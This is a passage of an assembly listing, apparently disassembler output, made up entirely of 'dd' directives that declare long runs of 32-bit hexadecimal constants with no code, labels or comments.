		dd 71A9000Ch, 885B19DBh, 0B9EE0739h, 69B2CEh, 38D6F10Dh
		dd 0BD294300h, 0F4845C6h, 81ED014Eh, 0B6D5258Ch, 32CC60F9h
		dd 511E0A07h, 0D83293EEh, 44A06043h, 54E72492h,	5CC0090h
		dd 0FCC40878h, 5D24F9B0h, 3D004C34h, 0FE87CAA8h, 0C5B403CBh
		dd 1709D0Dh, 0C0A61F9Dh, 0B2E319B5h, 84040E0Bh,	4BB1AABAh
		dd 330A7BC0h, 4EE1006Ch, 7B932FF0h, 0D217D83Fh,	5002431Ch
		dd 18F35399h, 0BA12ED9Ch, 0B40EF6F4h, 0D44580B4h, 1B9636Dh
		dd 1126A901h, 0F6C6B3DEh, 857FDC40h, 73DDBB01h,	462BB1BFh
		dd 0BD2B020h, 0FFAC1290h, 38794C80h, 503329Ah, 8AA48CD3h
		dd 3B6DB02Bh, 74BB002Ah, 0AE4A6A2Fh, 62001A4Ch,	7ED0E981h
		dd 73BBA79h, 242A9ECEh,	23E4E015h, 87019951h, 736A30A8h
		dd 9C33F758h, 75626B00h, 0C4FCAE80h, 0C767D81Ch, 0A50B7440h
		dd 0BA10E7Eh, 16996BACh, 5036F187h, 313EB986h, 4F5E39h
		dd 5C9ECA39h, 5CC5AF96h, 0ED00C143h, 0C21EE30Dh, 4B049C3Fh
		dd 72C494Fh, 0C67E10C0h, 0F0D3269Fh, 2E9D0031h,	664718A4h
		dd 5F5D200h, 0CC2D68A6h, 0CE4B002Ch, 1CB29DC5h,	1B00D517h
		dd 3651A45Dh, 84E598h, 0C946549Ah, 0F9C3D3E9h, 8E019970h
		dd 0F76881BDh, 4D3458D4h, 0CCEC508Ah, 2F5500CDh, 3DAAB34Ch
		dd 8112AD02h, 280744FFh, 7177A42Bh, 4500F0FAh, 0E6821EC7h
		dd 0EFA70028h, 771B231Ah, 39E06D57h, 0E38B6B00h, 280136ABh
		dd 2A48026Ch, 0D4A53006h, 8B3B5C48h, 0EFB7FC0Fh, 3807623Dh
		dd 8C18C0A2h, 0C3D409E2h, 8840AF49h, 0E5005539h, 9923FEE7h
		dd 0B079BDA4h, 0EAA00049h, 0E1E928CDh, 21001E6Bh, 5DDD3F69h
		dd 28DFFD4h, 445F68D0h,	18C02041h, 17585CCEh, 0CF4381ACh
		dd 14646999h, 4B2F174Dh, 635D01C3h, 64286436h, 3F3DF000h
		dd 0C02E82ACh, 806DB166h, 0A9A194B5h, 968103A3h, 0CABE595Dh
		dd 9E199CB0h, 3C353800h, 0F9FE7943h, 0F6FF03F2h, 0C6F8C4F4h
		dd 2763DB80h, 0BAB1305h, 0E501D7E9h, 7A86A79h, 86361064h
		dd 0B8A0A779h, 0BE0F7D77h, 0C2659C08h, 41D2B292h, 0A63026F4h
		dd 33C60E1Ch, 71A5B441h, 0FBE8C050h, 7200826Ah,	0A1D38827h
		dd 13B0DBEh, 9CEF9F02h,	3164FF86h, 5F042089h, 18F4ED01h
		dd 0B74BE012h, 57DEF889h, 25F05200h, 677711E7h,	0EB88D700h
		dd 0A5174CA6h, 8E9100AEh, 2C891054h, 8C0085CAh,	2A5255F6h
		dd 395AFF2Dh, 14BB1A0h,	7841CDE8h, 8170BE3Ch, 0AE34F4E4h
		dd 0DB104FD3h, 64DF5F8h, 32B90300h, 20D6FCh, 0DC1F9D11h
		dd 0E8F984D7h, 0F43F987Fh, 92EC872Eh, 40C3B611h, 0ED6F80E0h
		dd 0E8167DDBh, 7F78B0F2h, 3880C06Dh, 9BE90D81h,	85C4D913h
		dd 0BECAFA00h, 0F26CAFC2h, 0F64309A3h, 1401404Eh, 80AC71F1h
		dd 5D47468h, 16064CF7h,	0FAE472h, 2AB3470Ch, 0C20BD8F3h
		dd 27A030B8h, 692F84F4h, 3F582196h, 2424DFE3h, 76AB1F4Bh
		dd 9670CB06h, 0C21338A1h, 431B30ADh, 0EE00ABB2h, 0ED2E5A09h
		dd 0E408521Eh, 30B10A9Fh, 92A4C86Dh, 34600591h,	6180EBD2h
		dd 0E3F01318h, 0F8764C60h, 70B86365h, 32CBECA5h, 8C4828E0h
		dd 0E97F6200h, 0D5B4295Fh, 0F1A624D3h, 41A9123Ch, 693D38BCh
		dd 5982C54h, 0FE6B4E7Dh, 9C0858C9h, 9FD30282h, 32B51B2Ch
		dd 24B8E468h, 46008CE0h, 23E0541Fh, 0DE648A6h, 52DCE141h
		dd 422840B9h, 6F061F96h, 0B654256Bh, 0C74B0A58h, 8FF4D121h
		dd 920057E5h, 5156DBBEh, 0EFBC0400h, 91B4156Fh,	9C8D3093h
		dd 0C15BEB51h, 9362600h, 2935578Eh, 64600071h, 0C7D8BBF0h
		dd 0F5903E50h, 0D7BD6C09h, 0CF342443h, 678570C0h, 0B6A201FBh
		dd 5496ECB2h, 43D450C7h, 402A9AD3h, 2F1EA463h, 0D18013ACh
		dd 0DC3FA045h, 7B160056h, 0A8546D27h, 18000184h, 891DF0Fh
		dd 8C3F28h, 0DB95102Bh,	0B43AE848h, 10336C24h, 0A4E05BCh
		dd 0AC133FF4h, 0CD319021h, 11908057h, 0B6C4E3h,	52BF4C7Ah
		dd 69D3221h, 0D84AF701h, 0F98E930Fh, 0CEC6F840h, 59110EBFh
		dd 9AA04050h, 23E62A34h, 8EE3EB09h, 0A0F4809Ch,	0E4A963h
		dd 8427EE4Fh, 5A936276h, 0E005CF6h, 0EC42F6E7h,	0B86F5D15h
		dd 0D28A00F3h, 0A7189109h, 45003693h, 0F6AB2F7Eh, 54CE3F7Dh
		dd 5BD4FBh, 70B0490Ah, 381BD3A3h, 0C86A8A00h, 6511A04Dh
		dd 0BA7D0067h, 0DD46F406h, 0A450372Fh, 40B1D7DCh, 0BF1E599Ch
		dd 214F7580h, 0B0408D9Fh, 0AC4D1CF4h, 586880A2h, 25B7543Ch
		dd 133EB000h, 0F1C9CA53h, 4602007Ah, 0BCBBE72Ch, 0F849F92Fh
		dd 9085240Ch, 719E3200h, 3F3AD352h, 55009F93h, 958E16B1h
		dd 6800A25Fh, 2FA1271Bh, 30EE84B7h, 0AF111FB5h,	0E607E73Eh
		dd 75A65A38h, 90905194h, 0D42788h, 0DBBB07FBh, 0BFCDE666h
		dd 8D05F9E4h, 768F42E3h, 8CA2B8D0h, 5C620087h, 4D81FE23h
		dd 4800D0CDh, 0B867EF7Bh, 4B138A92h, 83E81EB9h,	0ABF77677h
		dd 1F371100h, 0BF72E4D6h, 0F34424D1h, 16C50044h, 43FAC8Dh
		dd 9883DF07h, 0E0CE1E81h, 151DDC13h, 0F503030Ch, 0A9FF42A7h
		dd 0E1C7F8B0h, 45826D09h, 0A3400839h, 67FF201h,	35C5BDD3h
		dd 3FFA78E4h, 2774D84h,	8A6B01DDh, 0C4C01632h, 7310C9D2h
		dd 3403BD8Bh, 0F7F8E656h, 30279AB0h, 8047D2Eh, 0CA5B9181h
		dd 7073BA15h, 4BA64D0Ah, 60994088h, 2E01DF76h, 4E2DB0D2h
		dd 3C74A1C1h, 0B6585021h, 0B9C4011Dh, 0A7CCE96Ch, 0FBC840C2h
		dd 0EB004FE8h, 27FF389Bh, 0D5310Dh, 0E57421D9h,	0AE88F47Ch
		dd 426C3Bh, 473A2FA0h, 548F946h, 235D27F2h, 0EFA00EAFh
		dd 82CC1F33h, 0B2B0F71Bh, 0D4FA6761h, 58389A49h, 9E7397A2h
		dd 753F9400h, 1D29E3D8h, 5D8F609Ch, 4CB10003h, 0F1C08082h
		dd 0A5DFC902h, 499F908Ah, 0D61343Ch, 7601D1BAh,	70CF8EF4h
		dd 0D6EEC48Bh, 7973C70Fh, 97BE2054h, 9AA66BF7h,	4B580040h
		dd 19A44172h, 67010BF1h, 90861844h, 5075245Ch, 62D4FBF1h
		dd 75149A04h, 42440088h, 9689FC2Ch, 9D09802Bh, 90C9EC1Bh
		dd 14194588h, 0ED76B3E8h
		dd 138C2300h, 0ABFC1E98h, 0BC4D3103h, 0F0C1BBF8h, 246EE258h
		dd 80200228h, 50FFA1D9h, 7F0C3417h, 0D8E6D6F1h,	760F165Dh
		dd 0E21C0120h, 227823h,	9E61CB5h, 0D6363E57h, 0E2D4C020h
		dd 0C7007DE0h, 0F97CC2E5h, 7F346BAAh, 0B47903DEh, 0A6B6A54Eh
		dd 91B83940h, 63BCC100h, 576E8AEh, 59C90B15h, 940F28A3h
		dd 9762B140h, 73F2EA1Ah, 0D8011498h, 11D5C7D0h,	8FD40223h
		dd 41580B3Bh, 0FFD85FB7h, 8364F000h, 97028ADFh,	0ED920331h
		dd 63D1A288h, 7C076200h, 0F875BA9Ah, 0F492E0h, 28EE8086h
		dd 0D641369Bh, 0D7403Eh, 0CA49C60Ah, 0F416C4h, 55DB0D24h
		dd 0D4303420h, 10A29624h, 80663B09h, 3DD8CB50h,	0D0C30CA1h
		dd 0EE90C1B5h, 0C002D2F8h, 227E8952h, 85584169h, 4C27C1CCh
		dd 751CB99Eh, 2989B205h, 119D10C0h, 181CCE4Ch, 0A5C8C588h
		dd 0A303E69h, 0B94B9887h, 0DC66A044h, 6500E6B7h, 517509E8h
		dd 24BC4131h, 18F214h, 0A9F44A48h, 7D24197Bh, 0D023CB1h
		dd 83BE96DEh, 0A0EE3092h, 9570169h, 13AD77A3h, 0A7003CABh
		dd 1ABC3282h, 0E41C8800h, 0FD670C59h, 1589A99h,	0B890A139h
		dd 0D73070FEh, 0EB0C5116h, 0F374B401h, 2020E917h, 69421F93h
		dd 19D2466h, 0E49B7961h, 1F421D0h, 0E683BC86h, 0A76E61E0h
		dd 3062B200h, 0EB320DFAh, 0A80B0027h, 4663D225h, 0CE017A70h
		dd 0C539CF58h, 0E9607273h, 82D900AEh, 97DB9069h, 0C1B0A999h
		dd 93C17701h, 7B543979h, 0D57080E3h, 0DC92E0h, 843D0AF4h
		dd 0D962B4BAh, 9C817828h, 4A02AE7Eh, 0CE056C52h, 0D2B18030h
		dd 2A1900Ch, 0D858B3E9h, 2340E7FEh, 0F530A73Dh,	68BEA68h
		dd 0B6590097h, 0CE700786h, 83006B23h, 4CC381EDh, 1D2547h
		dd 5ABC09B4h, 0C8F77B9Ah, 4AEEEE72h, 0A70024E0h, 0D347ECB1h
		dd 9082AA9Dh, 0E08E0628h, 11B6ACD5h, 0BA705DE8h, 806B132Ch
		dd 90713508h, 893727A9h, 104823B0h, 9918B0B3h, 888B483Dh
		dd 3C1482Ch, 16B4193Fh,	7A50C0EFh, 0ABB8C613h, 68F46C05h
		dd 0F00E4770h, 0F481B66Dh, 0D1CF2D3Ch, 608966A5h, 0C4052F21h
		dd 9AC440A1h, 13757ECDh, 0D006775h, 1BF16203h, 50DC651Fh
		dd 74E818h, 2B3297C2h, 0B2B596E7h, 85FFCA00h, 0A5BCE239h
		dd 645E009Ch, 7C7562Fh,	92001D67h, 3155D745h, 12F91558h
		dd 801EE590h, 3B9A8954h, 0D7006498h, 0EE20CE99h, 4E59F6D5h
		dd 0E38400A6h, 0E51F9C86h, 2D2FA907h, 636DECDh,	3A1903F8h
		dd 7EAD5671h, 0B1F34FA8h, 0AE1BE707h, 0C470242Fh, 43A44Bh
		dd 7EFF2A50h, 2EF65884h, 46F89402h, 0C554FA93h,	80968570h
		dd 8FEFC0A7h, 0E024E3FFh, 9C020892h, 0FE6EC6BAh, 0C17E0510h
		dd 2BBC099h, 28003527h,	0D3D0CBC7h, 1128344h, 0E14693A0h
		dd 60095410h, 7F0E38CCh, 52A20BC2h, 0D1CD500h, 95AEDFh
		dd 0A823E049h, 0F8C5464Fh, 0B9379003h, 79C188A7h, 0FCDE630h
		dd 8F80AE34h, 0E7980C60h, 642DD3A7h, 0BDEC00CFh, 58A2B4h
		dd 8409BD9h, 4A71FF3Fh,	24215F2Ch, 0A63DB200h, 67A8FA6Ch
		dd 3034A092h, 5D410B77h, 105AAE09h, 840B3Ah, 2F3A926h
		dd 41CA006h, 25092A8h, 1C35D86Bh, 196087B7h, 0DEE8A0B6h
		dd 5B676100h, 0BB40A34Bh, 5F9C0B89h, 58802A53h,	7BC5C3F3h
		dd 31676C00h, 1DA5BFB4h, 406F00D5h, 53CB3341h, 0E0CF152Eh
		dd 0DE43608Eh, 13D41C95h, 40A364BCh, 397C26A8h,	0EB73ABF5h
		dd 0A4C3DC07h, 0E771C441h, 0A08F6D6Bh, 4481D3BDh, 0CE2404B4h
		dd 0BFE09CEBh, 8031A30Ch, 629A3042h, 0CCBCD8D3h, 9CA21FE9h
		dd 8B24084Ah, 0CB2D8A40h, 63C528EBh, 9BD40340h,	66E9415h
		dd 0F2A7101Ch, 2C9E2E80h, 3F3398Dh, 63A57BEBh, 0F4181CCAh
		dd 7A40C659h, 0B27F1F65h, 0C8C9C378h, 3BD0A058h, 510B13B7h
		dd 3F0354h, 0D0C7DF9Ch,	0A8C9008Eh, 2977A2FBh, 0CB0026F9h
		dd 0E509847h, 514F5Eh, 1AEE271Dh, 4031E8A7h, 8A6FBD17h
		dd 50CE6101h, 0D8C4E5D5h, 83A10347h, 0EEE7CA4Eh, 25B87D0h
		dd 620F100h, 34BCB63Ah,	6BB90067h, 7BE79332h, 2A015953h
		dd 811CF81Dh, 0C1F4EA9Dh, 514107E6h, 0C05EC037h, 50A29A1Bh
		dd 590CF00h, 0E4B4BFE5h, 17D2001Dh, 5140AFE8h, 0CB013B2Dh
		dd 0D3E6B0D7h, 0AE70296Eh, 0C6BF016Bh, 1EFB6DB9h, 0E72824D5h
		dd 9100EEF0h, 94A17B1Ch, 32A050Ch, 59323664h, 2900D31Dh
		dd 0AAAE3867h, 0F0C1797h, 721B0D28h, 27538A20h,	0C105D65Dh
		dd 0A10F8873h, 3EA9D845h, 494FAC03h, 615FC0D9h,	69A71C7Bh
		dd 0A8006525h, 1228D03Ah, 69ACDB30h, 894AA9h, 2DD2F322h
		dd 0C90F30B7h, 21ADB330h, 75682Eh, 0F4FCD406h, 0C71E97EEh
		dd 67788E7Fh, 0E911BB02h, 8124B3C8h, 0BCC67228h, 3B7B960h
		dd 0C9078823h, 9BA0ECDCh, 7A39FE3Ah, 72A88030h,	0A408C667h
		dd 0A7930544h, 0C7E94C84h, 69C0AF6Fh, 9C0E9D05h, 21782407h
		dd 3241AD58h, 0E47445A3h, 4C03497Ch, 0D5BDC800h, 3240F34Bh
		dd 0F739AD00h, 10BEE573h, 5D8C005Fh, 3105DD2Eh,	0FB0083EAh
		dd 0A5D66C65h, 6030EE8h, 8F527B2Fh, 8901184Dh, 0CAD8E957h
		dd 0D5D0EB8Ah, 273003F4h, 0F32D751Dh, 19163030h, 9085E090h
		dd 10D760B5h, 5C113F36h, 0F00B3C03h, 30149530h,	56214008h
		dd 2400E9B0h, 865D645Ah, 0BE3F94h, 5FE41B8Bh, 0DD272A9Ch
		dd 0EAD4F707h, 49E7E9DEh, 0CC11A76Fh, 0F816F4A0h, 76F300BDh
		dd 0A25028EFh, 8CC905Eh, 711660E2h, 4EF30DB5h, 0C2E0D4BFh
		dd 4E98400h, 5087EDC6h,	4C22B4F7h, 142EF060h, 0C50E11EAh
		dd 0DD2FC03Dh, 331AADFh, 59BE065Dh, 51988689h, 903B3222h
		dd 36CD9D7Ah, 3100CD6Ch, 0D5C603D4h, 16FEEEFh, 10E89261h
		dd 0D87F169Dh, 570020A8h, 555348CAh, 1EFC1A5h, 0A9A3275Fh
		dd 0F8839BB7h, 0CC01E822h, 0B2F52D3Bh, 0D3D018DFh, 41121E1Ah
		dd 0A3404081h, 4A13CF2Bh, 2E31991Fh, 0E607E09Dh, 0EDC15FC4h
		dd 4BF097F3h, 0C05F08Eh, 0EAEC2A6Ch, 9400EE20h,	3378D1D5h
		dd 0E9ADA97Ah, 26DA1080h, 2F583268h, 0E7CD090Ch, 0C0DE0880h
		dd 68821321h, 2A073E12h, 6AA1E5C7h, 0B73A21C0h,	70F26C05h
		dd 33247A28h, 0EC18DF08h, 3067F170h, 4F20B537h,	0B30EAD0h
		dd 0F93529A8h, 0C84722Eh, 5637B70Dh, 21CE3109h,	356A0315h
		dd 3A3A7BAEh, 0F8EF484h, 530C3A0Eh, 55607F60h, 5A4BDA79h
		dd 1687DDDh, 0D849F73Ch, 0E9C7E279h, 104042B9h,	262E9133h
		dd 0EFDC9h, 0DA6ADB17h,	0FF15416h, 42E206Fh, 643A5207h
		dd 0EA410E6h, 98EC1AD4h, 0F34510h, 22979DC0h, 0D649A16h
		dd 2B64A00h, 0C9B95DFEh, 52120304h, 952D9C2Bh, 84F60D8h
		dd 2C5E0700h, 0B9683F58h, 9E80018h, 3794466Fh, 1604C749h
		dd 0B7258CA9h, 75AD00EFh, 328E84E8h, 0F6418000h, 2139F7D7h
		dd 7BAB0016h, 65CC9DADh, 1A003809h, 0ED66D44h, 0FDB655h
		dd 414B1B6Ch, 0E35016B7h, 488BE200h, 809012E9h,	0B5BA0F64h
		dd 7E6F2266h, 0C56E2600h, 980F2F20h, 80234A53h,	0D3E81BDEh
		dd 9619023Eh, 226C5291h, 35C30C82h, 18512811h, 54080B93h
		dd 0AF9B2186h, 0E3199018h, 23172077h, 0E220ADF0h, 0C766182Fh
		dd 142208E8h, 28636E01h, 0BE982990h, 5DA52181h,	98FBE446h
		dd 0E981B150h, 0C5CC304Ch, 8D6D4039h, 0A129D301h, 55EF18EAh
		dd 6C2E63E0h, 1670D84Bh, 14D2F588h, 805E0D5h, 0E311CD3Ch
		dd 6C0D00EDh, 0A9A188D3h, 3DF706FAh, 0C96DF6C8h, 9E97ED00h
		dd 0C9618EBh, 0DDACA8D3h
		dd 6C580003h, 0A72016AEh, 7C0C2B4Bh, 0B1248630h, 5EAF14F1h
		dd 0BC3780D5h, 6563CEB9h, 780A92A3h, 18F72CA7h,	7970C700h
		dd 346C9Dh, 82C2F239h, 0BBAB024Dh, 0B36B0900h, 0CC1DF184h
		dd 67EA00FDh, 0B6D885B1h, 9F3F41C2h, 0D7480089h, 0E93AD046h
		dd 0F0D5F852h, 98CA291Ah, 0B83D6114h, 0A9A07E03h, 284EFF1Fh
		dd 0CD814000h, 0A484CF6Ch, 18830200h, 13823551h, 5A2D00B4h
		dd 59FF95FAh, 0E61415D8h, 0E0148A63h, 58DDF1Ch,	0CBA9BD10h
		dd 62742C3Ah, 1D411C00h, 0C30C07F6h, 5BB2050Fh,	8057F8FEh
		dd 0C7B75CC2h, 3499A829h, 6E3714C0h, 680CEEE9h,	0C32070B2h
		dd 6D8982FFh, 449CCA9Ch, 8DCC124h, 6A65B404h, 7D04664Ah
		dd 94A41161h, 404AC024h, 9C0033A9h, 0F730D8AAh,	0BCDD423h
		dd 0FECE8EDCh, 0AC7DD01h, 333AFCE7h, 29DEEE77h,	0A400ABD0h
		dd 6C090456h, 0AF002228h, 0DE172A42h, 593E93h, 5691DAF7h
		dd 820A38E3h, 250EEF03h, 0A0E5582Eh, 4887579Dh,	0A100F6D8h
		dd 0E91C7D7Ah, 0DD00E3DAh, 0A9BBAA61h, 70EBFDC6h, 405A00A6h
		dd 49EC28D6h, 0E538C356h, 69007685h, 88B23BD1h,	1C30A3B5h
		dd 0C0AED875h, 180D96A4h, 0D000C79Dh, 3295E954h, 0FCF992E4h
		dd 0C51F00DBh, 42270F0Bh, 0BB0CFEF2h, 18DA3C4Bh, 0ED670CB3h
		dd 9A11D549h, 0FE0D86FAh, 0C80764C8h, 3FC460F4h, 7F80903Dh
		dd 0C9721E93h, 5B0EAD88h, 879519E2h, 0B4003C47h, 0B783Fh
		dd 12F504DAh, 7C376559h, 5C33EB00h, 79196A1Bh, 0B0A80047h
		dd 58D0E987h, 13757C48h, 5F59DB00h, 6E717395h, 0FDA0007Ah
		dd 9280588Dh, 6700C186h, 78E40723h, 26CF01Bh, 0C6E8F7CBh
		dd 5C405A42h, 0C707217Dh, 0B39163F4h, 1B2C8BF0h, 0E6243CC5h
		dd 853D9700h, 0A50DADE9h, 0A3E2601h, 0A113B838h, 3D423FE4h
		dd 2C00FDF0h, 0AC7830FCh, 0EB00F72Ah, 0D3B488F6h, 0AA0720h
		dd 0CF013310h, 0DC3BA86Bh, 0A3679400h, 0E2A3DCAh, 40C600A2h
		dd 0A7240717h, 0E628CC48h, 2E00F080h, 3847923h,	7F026BCh
		dd 9D3EB6A1h, 0C07877B5h, 1461FBA9h, 83F6FD00h,	0B8040831h
		dd 4F58003Bh, 6B935BA8h, 751DE57Eh, 0EF009C96h,	0A4378BFBh
		dd 175F00D9h, 94C3402Dh, 0A118BDADh, 0E908EBE6h, 9BF3059Fh
		dd 0C01F4366h, 0A9CB59F6h, 7C7E6800h, 28F978A0h, 270F7F64h
		dd 0C5D86B7Dh, 42E0A0A8h, 97D06001h, 0A63A8530h, 0D1764080h
		dd 0FB937280h, 0B606EE4h, 0DCE48259h, 23980028h, 0AFBCD0ECh
		dd 6F3840B3h, 91F08072h, 28258022h, 0C614027Dh,	8CA4F506h
		dd 0A6BED448h, 4AC82A0Eh, 0B5D64019h, 0A5C51Eh,	12950571h
		dd 811A3649h, 96E7D400h, 0B062CF03h, 28F260F4h,	75769FFBh
		dd 6F519A00h, 0ADD63CFEh, 0CCA01CC8h, 61C70002h, 7F329382h
		dd 10FC3830h, 0D97DDBh,	0BC7CBF98h, 0DF33DEA9h,	5E9DF8C0h
		dd 14C8C58Fh, 94FB731Fh, 0BC84D906h, 1C007152h,	1D7713CEh
		dd 0E5DE7A9h, 0A53F5483h, 9EB405Dh, 0EC463530h,	28D11430h
		dd 28EF5CA3h, 0A85EF0h,	0A576AEC1h, 0FF64D822h,	4E833000h
		dd 0E0AFF3E9h, 890B2982h, 647789C8h, 7C7F1100h,	0EFF668ADh
		dd 50A24F3Dh, 0ED0C139Ch, 20F54799h, 645900A0h,	407DABBCh
		dd 0EB015F89h, 6FE5D7E1h, 0AC219657h, 0F9AD180h, 3A230E4h
		dd 0AB29447Eh, 160124ECh, 7A18FEF4h, 2E01F0h, 4DAF28AAh
		dd 0D2D583E7h, 7B3DAC12h, 5F6B1440h, 51DA9E60h,	340880CCh
		dd 0D97215C6h, 67EE858h, 7D92F1EEh, 27FC10B6h, 7C546600h
		dd 0E8D65641h, 0F8D0529Ah, 0EB241480h, 7530C53Dh, 6DC01843h
		dd 0D8D00FA4h, 12F234h,	0FEAEA740h, 78CA72EDh, 0F8B0F86Fh
		dd 36ACADh, 0E15350ECh,	0F791B19Ah, 1F5C4049h, 0A3DF0844h
		dd 511D2701h, 0E8D40B62h, 0C4B556BAh, 0DF72D809h, 0BB008C36h
		dd 57EAD613h, 3AA33F0Ch, 7F09EFECh, 0F907F4A7h,	92982A85h
		dd 80041603h, 653ECB9Fh, 0E9ACAB00h, 8EA79D0Fh,	6C31006Eh
		dd 568019A8h, 3700E0B8h, 6791B025h, 96469ABh, 0D6DBE204h
		dd 7CF1C881h, 0BB427E8h, 25730C9Eh, 0A0214A7Ch,	0C45001F5h
		dd 0A1D82Eh, 9DE57095h,	72D5479Ch, 74A8B309h, 0C2348083h
		dd 5BF94BBh, 78CFF605h,	0E94CC073h, 30F88644h, 8D0894AFh
		dd 0F4D5F9DEh, 4400AB9Eh, 0C214668Fh, 1C73E285h, 40FD40E9h
		dd 9F1CAEDh, 5000B1E6h,	17B43048h, 5EF007AAh, 9BB7C012h
		dd 0D70B4385h, 241C3AE7h, 7CC886F8h, 4A651240h,	56D841C2h
		dd 80A86D0Ah, 0FD17ED80h, 24FFE396h, 82789526h,	31E24AD3h
		dd 0F0018849h, 0E9F1A685h, 1C5C3048h, 824F2412h, 0DA2BD400h
		dd 2307698h, 0A1F907D7h, 9440F02Eh, 8A008863h, 0CE5B7EA7h
		dd 6150Bh, 0BEE76F53h, 50487ACAh, 63F56E1Eh, 966B2D80h
		dd 0C0C2AFCh, 45B8CF9h,	0CB4C45A0h, 0B38107EEh,	0A04CA901h
		dd 86DA1FE3h, 40F01F96h, 3E7F06E1h, 0BC009E7Eh,	9CE6422Fh
		dd 0ADCDB4h, 0F43750DDh, 1E83A68Ch, 0FEDA5807h,	9F3062BEh
		dd 8D9C52h, 0AB3F578Ah,	6F1A92C5h, 555F5E00h, 0F9D0E377h
		dd 53421D2Ah, 82EE00B4h, 0A401DD02h, 616C931Dh,	0C9010E66h
		dd 78881A6Dh, 0B35870h,	304D271Bh, 0F123E34Fh, 7FD8623Fh
		dd 0EFCC1154h, 361434Ch, 0C10B5B8h, 684880B0h, 5C489247h
		dd 9D1849E8h, 0B7F1170h, 714DF401h, 0C36E06B0h,	60A260F8h
		dd 8149217Ah, 0BC60D126h, 6240FC11h, 37A0A019h,	751A7DD5h
		dd 0DC9B0305h, 777ABE68h, 622601F8h, 0D8C47C07h, 4AA1EBCEh
		dd 0F1F483D9h, 0FCA005Dh, 80CC4DA0h, 285015A6h,	0EF0007BCh
		dd 0A852083Dh, 166120h,	9CBFB449h, 7FD5754Dh, 9D282B60h
		dd 161E7128h, 3EE8DCh, 0EC9439F8h, 0C8004556h, 708EC526h
		dd 0F00FF13Fh, 5DFB00B6h, 6EB2D1A2h, 961CEA83h,	0BC807506h
		dd 0BB5534AEh, 6BA700D0h, 0C2D6EC16h, 0D100783Eh, 147B496Eh
		dd 0D32DF0h, 748BF172h,	6076DB0Eh, 0D20024E6h, 30A58A77h
		dd 285A52h, 40923DDDh, 6FD772B4h, 0E0FB4900h, 845C8B0Fh
		dd 0B6060093h, 0DFEA643Fh, 0F2131389h, 40002A3Eh, 12A1AD44h
		dd 434B04AEh, 9130F9B0h, 6245CFECh, 0F81B1090h,	29DCF100h
		dd 66B85A27h, 0F0965B7Ch, 0B400B020h, 96917DA1h, 9ABE8104h
		dd 8AD206BCh, 11ACD9EBh, 9F5B8900h, 1755CD73h, 0A7A8A0ABh
		dd 1D8D24AAh, 0A8E080BCh, 5B6018E2h, 3D23E100h,	0D5A0453h
		dd 706F0009h, 7B3C815Eh, 684CEF39h, 0BDAE8208h,	955861A8h
		dd 3FBA4048h, 9CAECB94h, 0D6B8428h, 7C45C05Fh, 0F7702D08h
		dd 0D86025E1h, 550720DAh, 23A32CE2h, 54D84BE5h,	457691h
		dd 67D20395h, 0CC7197DEh, 1D40C600h, 48512BE0h,	0B98AEC4Fh
		dd 900A3960h, 4594A591h, 7C08BC1h, 211A18F3h, 0D978EDF1h
		dd 5FD0AF5h, 2A39F240h,	653300B0h, 4373EC60h, 24BA9308h
		dd 0E51BEB00h, 0CB7496A1h, 2B643AC8h, 3FB9B209h, 284F7080h
		dd 0D40790AAh, 76AFB431h, 0EAB5B630h, 0DF51094Ah, 6EA3EDB8h
		dd 589A801Eh, 6C9B58C0h, 0CA834FBh, 0C623DE01h,	8A6D648Eh
		dd 0FC9BA1F7h, 0DF58C41h, 0C40FCh, 0E5EBB646h, 9DE23E63h
		dd 0AFC4A519h, 0A2A4ADE1h, 11B8239Ch, 0E4C52603h, 5A806C68h
		dd 35C16D56h, 0A2840951h, 288167BAh, 0D86C304Bh, 573B8C53h
		dd 8558CFh, 49DD3A5Eh, 54A5D49Dh, 13A8B444h, 1E336E77h
		dd 3419540Eh, 2BA893A7h, 86E08DF5h, 86DF3760h, 83C60120h
		dd 0A2F0207Bh, 5A9DF49Fh, 96CC6D01h, 0AA14999Ch, 4D883C30h
		dd 0BD0FF880h, 73C13D0Ah
		dd 0F44D84A0h, 0CC009AFBh, 43496D20h, 0F5B5BFA9h, 8C747FFDh
		dd 582D7270h, 0D600D85Bh, 9D68A7EFh, 2A0026FAh,	0B4B1527Eh
		dd 0E5A1A4F5h, 682001E5h, 54550002h, 0DA5C24C9h, 0D809CAF2h
		dd 0C1322B0Ch, 0C022E7E8h, 9C34CF82h, 0B674C8A2h, 2962C041h
		dd 15A915E8h, 20CC4888h, 473809B4h, 0C820C409h,	88C334DEh
		dd 7E29AC61h, 4100EC1Eh, 7C0074FCh, 57871460h, 0ABC67Fh
		dd 0C221DB6Ah, 48B3B4B0h, 6951E8E7h, 0F3E87207h, 92D0A410h
		dd 0CE1934h, 0A58D8D3h,	82425032h, 0D29A4400h, 0B7850CFFh
		dd 60F30045h, 221E52B2h, 2D0074C7h, 3FA15417h, 7F88C187h
		dd 0C3EA0082h, 262BF3A2h, 0C2EA7D78h, 11CED1Ch,	1ACC9381h
		dd 38206087h, 281B0071h, 9AB1E98Ch, 7A09078Ah, 3DBF6Ch
		dd 79AEC1D2h, 0CBD05A6h, 80EFD484h, 0A775C8A0h,	551E4A00h
		dd 1D312F52h, 7A08024Ch, 434FA47Ch, 240DFC60h, 35309000h
		dd 0AA1EF85Fh, 0A77B071Fh, 0A03C1048h, 5BAEA0DDh, 9FD3D804h
		dd 0DF80F767h, 31816AC7h, 9610660Eh, 0C9A4304Fh, 0D401DAF6h
		dd 3E86C272h, 8C28D7B0h, 0DBAE4E00h, 0A9474CE4h, 8135BE39h
		dd 1A3F06B7h, 0C04028EEh, 0E2D0FBh, 6B4FB249h, 22767334h
		dd 0AD03A4E6h, 7D1BAABFh, 6E74A821h, 0D870C03Dh, 0F2A62C81h
		dd 0E0518B0Eh, 0B062401Ah, 3ECFE4h, 3408B94Dh, 3F9C0C50h
		dd 0CD41F201h, 0E3739AEEh, 6DE8EF0h, 837830F0h,	171D6057h
		dd 0FD407CC3h, 32907B1Dh, 0F3E3000Bh, 34517779h, 4D068F07h
		dd 5AA1820Ah, 1EFAF874h, 40A5688Eh, 7B156E32h, 0D2001240h
		dd 3822E1E8h, 3835450h,	8EC99388h, 8FEAD878h, 19998DC0h
		dd 0CA086800h, 35438057h, 0A1EC2Ch, 9F244ECBh, 0F4C039D6h
		dd 0D5582176h, 0A4E20724h, 4FC752A6h, 0E1F6F310h, 1C57DBDh
		dd 987AC267h, 0E038DBF5h, 3C7B9CFBh, 5620AD01h,	69C027C1h
		dd 73003C68h, 0CB90BD52h, 0D8F12B51h, 61F5A5Ch,	80A4AC8Dh
